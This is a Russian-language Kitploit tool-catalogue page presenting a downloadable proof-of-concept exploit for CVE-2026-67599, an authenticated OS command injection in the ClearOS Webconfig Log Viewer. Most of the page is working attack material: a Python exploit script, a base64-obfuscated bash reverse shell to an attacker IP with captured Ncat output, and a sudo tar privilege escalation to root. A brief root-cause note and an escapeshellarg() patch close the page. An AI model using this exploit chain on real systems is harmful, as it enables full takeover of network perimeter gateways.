Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-67599_ClearOS_RCE — Authenticated Blind OS Command Injection in ClearOS | Kitploit
Инструменты/GitHubGitHub/lazytitan33/cve-2026-67599_clearos_rce
Privilege EscalationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed Teaming
GitHublazytitan33/cve-2026-67599_clearos_rce

CVE-2026-67599_ClearOS_RCE

Authenticated Blind OS Command Injection in ClearOS

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
20 дней назадЕщё не проверено

Инъекция команд ОС в параметр фильтра Log Viewer

Пакет: ClearFoundation Протестированные версии: ClearOS 7.9.1.342252
Тип уязвимости: OS Command Injection (CWE-78)
Серьёзность: Высокая
CVE: CVE-2026-67599
Вектор CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (Оценка: 7.2)

Спасибо VulnCheck за помощь в присвоении и отслеживании этого CVE-2026-67599 от моего имени.

Описание продукта


ClearOS — это операционная система, построенная на CentOS/RHEL и предназначенная для использования в качестве сетевого шлюза, платформы Unified Threat Management (UTM) и пограничного сервера для малых и средних организаций. Работая преимущественно как пограничное устройство, она управляет правилами межсетевого экрана, VPN-подключениями, маршрутизацией и базовой сетевой инфраструктурой.

Поскольку ClearOS разворачивается на периметре сети, административные интерфейсы, такие как Webconfig (порт 81), часто оказываются доступными из сегментов управления или напрямую из внешних сетей. Уязвимость выполнения команд в этом интерфейсе позволяет атакующему скомпрометировать шлюз, закрепиться на периметре и напрямую перейти во внутренние сегменты сети.


Затронутые файлы

/usr/clearos/apps/base/libraries/File.php — строки 297, 314


Корневая причина

Параметр filter, передаваемый конечной точке Log Viewer, попадает без санитизации в shell-команду, формируемую в File.php. Значение $regex интерполируется непосредственно в строку команды, а не передаётся как правильно экранированный аргумент, что позволяет выполнять конструкции подстановки команд, такие как $(...) или выражения в обратных кавычках, от имени пользователя webconfig.


PoC

Я наткнулся на это во время активного пентеста. Вот простой генератор артефактов.

root@kitploit:~
#!/usr/bin/python3

import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")

args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)

Пример reverse shell (атакующий на .1, цель на .129):

root@kitploit:~
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"

Подтверждённый вывод:

root@kitploit:~
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)

Повышение привилегий до root легко выполняется через стандартные, очень разрешительные правила sudoers:

root@kitploit:~
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy

User webconfig may run the following commands on server:
    (root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
        /usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
        /usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
        /usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
        /usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
        /usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
        /bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
        /usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
        /usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
        /usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
        /usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
        /usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
        /bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
        /usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
        /sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname

В примере ниже для повышения привилегий до root используется бинарник tar:

root@kitploit:~
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)

Воздействие

Аутентифицированный пользователь веб-интерфейса с доступом к Reports получает полное выполнение команд на уровне ОС от имени пользователя webconfig. В стандартной установке ClearOS 7.9 пользователю webconfig предоставлены обширные привилегии sudo с NOPASSWD, что позволяет немедленно повысить привилегии до root без дополнительных учётных данных. Атакующий может получить устойчивый root-доступ к базовому хосту, включая все данные, сервисы и сетевые конфигурации, которыми управляет система.


Рекомендуемые меры устранения

ClearOS находится в статусе End-of-Life. Последний дистрибутив, который всё ещё можно загрузить с clearos.com (версия ClearOS-7.9.1.342252), датирован 13 октября 2021 года и не получает никакого upstream-обслуживания или обновлений безопасности.

Из-за этого приведённое ниже исправление кода — не более чем временная заплатка. Запуск неподдерживаемой ОС на сетевом периметре — это игра с огнём. Настоятельно рекомендуется полностью мигрировать с ClearOS на поддерживаемое пограничное устройство или UTM-платформу.

Временное решение (PHP-патч)

Если вам нужно поддерживать этот хост в рабочем состоянии во время планирования миграции, оберните $regex в escapeshellarg() в строках 297 и 314 файла /usr/clearos/apps/base/libraries/File.php, чтобы изменить:

root@kitploit:~
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,

На:

root@kitploit:~
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,

Затем перезапустите сервис webconfig:

root@kitploit:~
sudo systemctl restart webconfig
Скачать инструмент